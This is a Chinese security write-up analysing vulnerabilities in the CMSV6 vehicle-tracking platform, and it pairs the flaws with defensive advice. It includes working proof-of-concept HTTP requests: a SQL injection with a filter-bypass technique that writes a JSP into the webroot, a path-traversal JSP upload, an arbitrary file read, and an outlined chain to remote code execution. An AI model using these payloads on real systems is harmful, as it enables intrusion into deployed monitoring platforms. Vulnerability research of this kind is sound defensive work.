通天星CMSV6 车载定位监控平台漏洞分析及思考
字数 2033
更新时间 2025-08-23 01:10:38

通天星CMSV6车载定位监控平台漏洞分析与防御指南

1. 系统概述

通天星CMSV6车载监控平台是基于SSH(Spring+Hibernate)框架开发的车辆监控管理系统,主要用于车辆定位、轨迹跟踪和监控管理。

技术架构

  • 框架:Spring + Hibernate (SSH框架)
  • 视图层:使用Beetl模板引擎
  • 路由机制:基于Struts2框架
  • 数据交互:采用JSON格式

2. 环境搭建与调试

2.1 环境准备

  1. 从官网下载安装包(https://drive.weixin.qq.com/s?k=AEUAHgfEAAwFuWbUBN#/)
  2. 在Windows虚拟机中直接运行exe安装

2.2 调试配置

  1. 修改catalina.bat文件,添加JVM调试参数:
set "JAVA_OPTS=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:6665"
  1. 暂停web服务,启动setup.bat
  2. 在IDEA中配置Remote JVM Debug,连接端口6665

3. 安全机制分析

3.1 过滤器(Filter)机制

系统通过web.xml配置了多个过滤器,主要功能包括:

SQL注入过滤

private static String badStrReg = "\\b(and|or)\\b.{1,6}bin\\b|\\blike\\b)s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

// 黑名单关键词列表
static {
    matchs.add("'insert ");
    matchs.add("select ");
    // ...其他关键词...
    matchs.add("ORD(");
    matchs.add("MID(");
    matchs.add("schema_name");
    matchs.add("case when");
}

XSS过滤

系统配置了XSS过滤器,但历史上未报告过XSS漏洞。

3.2 路由机制

系统采用Struts2框架的路由机制:

Web路由规则

任意路径+/类名+_+方法名.action

API路由规则

类名+_+方法名.action

4. 漏洞分析与复现

4.1 SQL注入漏洞

漏洞位置

com.gps808.inspect.controller.PointLineRelationController

漏洞代码

// 存在SQL拼接的查询语句
String sql = "SELECT a.id as id, a.name as name, a.type as type, a.map_id as mapId, " +
             "a.install_place as installPlace, a.check_item as checkItem, " +
             "a.update_time as updateTime, a.create_time as createTime " +
             "FROM xj_point_manage a WHERE a.name = '%s' AND a.id != '%d'";

POC

POST /point_manage/merge HTTP/1.1
Content-Type: application/x-www-form-urlencoded

id=1&name=1' UNION SELECT%0aNULL, 0x3c25206f75742e7072696e7428227a7a3031306622293b206e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b20253e,NULL,NULL,NULL,NULL,NULL,NULL INTO dumpfile '../../tomcat/webapps/gpsweb/allgods.jsp' FROM user_session a WHERE '1 '='1 &type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8

绕过技巧

  1. 使用%0a换行绕过关键词检测
  2. 使用十六进制编码绕过

4.2 文件上传漏洞

漏洞位置

com.gps808.inspect.controller.InspectFileUploadController

漏洞代码

@PostMapping({"/upload"})
public AjaxResult upload(MultipartFile uploadFile) throws Exception {
    String folderName = this.getRequestStringEx("folderName");
    String realPath = this.getRequest().getSession().getServletContext().getRealPath("upload/") + folderName;
    File file = new File(realPath);
    if (!file.exists()) {
        file.mkdirs();
    }
    String fileName = "" + System.nanoTime() + "_" + uploadFile.getOriginalFilename();
    File target = new File(realPath + "/" + fileName);
    uploadFile.transferTo(target);
    // 无有效文件类型检查
}

POC

POST /inspect_file/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=2e7688d712bcc913201f327059f9976b

--2e7688d712bcc913201f327059f9976b
Content-Disposition: form-data; name="uploadFile"; filename="../707140.jsp"
Content-Type: application/octet-stream

<% out.println("007319607"); %>
--2e7688d712bcc913201f327059f9976b--

利用方式

  1. 通过../实现目录穿越
  2. 直接上传JSP webshell

4.3 信息泄露漏洞

4.3.1 xz_center信息泄露

接口/xz_center/list

漏洞位置com.gps808.operationManagement.service.XzCenterController

4.3.2 用户信息泄露

接口/808gps/StandardLoginAction_getAllUser.action

漏洞位置com.gps808.operationManagement.action.StandardLoginAction

4.4 任意文件读取漏洞

漏洞位置

com.gps808.loggerManagement.action.DownloadLoggerAction

POC

GET /808gps/logger/downloadLogger.action?fileName=C://Windows//win.ini HTTP/1.1

4.5 组合漏洞利用实现RCE

利用链

  1. 通过任意文件读取获取管理员session
  2. 使用默认密码登录FTP上传恶意文件
    • 或利用后台任意文件上传漏洞
  3. 触发上传文件中的恶意代码

Jasper反序列化RCE

漏洞位置com.gps808.operationManagement.action.StandardLineAction#report

关键代码

private JasperReport getJasperReportFromFile(String reportKey) throws IOException, JRException {
    String filePath = this.jasperReportPath + File.separator + reportKey + ".jasper";
    File reportFile = new File(filePath);
    if (reportFile.exists() && reportFile.isFile()) {
        JasperReport jasperReport = (JasperReport)JRLoader.loadObject(reportFile);
        return jasperReport;
    }
    return null;
}

调用栈

  1. ReportCreater#_createReport
  2. ReportCreater#getJasperReport
  3. ReportCreater#getJasperReportFromFile
  4. JRLoader#loadObject
  5. ContextClassLoaderObjectInputStream#readObject

5. 防御建议

5.1 SQL注入防御

  1. 使用预编译语句(PreparedStatement)替代字符串拼接
  2. 完善过滤规则,增加对换行符等绕过字符的检测
  3. 采用白名单机制替代黑名单

5.2 文件上传防御

  1. 限制上传目录为不可执行
  2. 严格校验文件扩展名和内容
  3. 禁止使用用户输入拼接文件路径
  4. 对上传文件重命名,避免使用原始文件名

5.3 信息泄露防御

  1. 实施最小权限原则
  2. 对敏感接口增加权限验证
  3. 避免直接返回数据库完整记录

5.4 任意文件读取防御

  1. 限制文件访问路径
  2. 对用户输入的文件路径进行规范化处理
  3. 实施白名单机制,只允许访问特定目录

5.5 反序列化防御

  1. 升级JasperReports到最新版本
  2. 对反序列化操作实施白名单控制
  3. 使用安全的反序列化方法

6. 审计技巧

  1. SpringMVC审计重点

    • 关注DAO层的SQL拼接
    • 检查Controller层对用户输入的过滤
  2. SQL注入挖掘

    • 查找使用字符串拼接的SQL语句
    • 测试过滤器的绕过可能性
  3. 文件操作漏洞

    • 检查所有使用用户输入作为文件路径的操作
    • 关注文件上传功能的类型检查机制
  4. 反序列化风险

    • 查找所有readObject调用点
    • 检查反序列化数据的来源是否可控

7. 参考资源

  1. 通天星CMSV6远程代码执行漏洞分析
  2. 官方漏洞通告
相似文章
相似文章
 全屏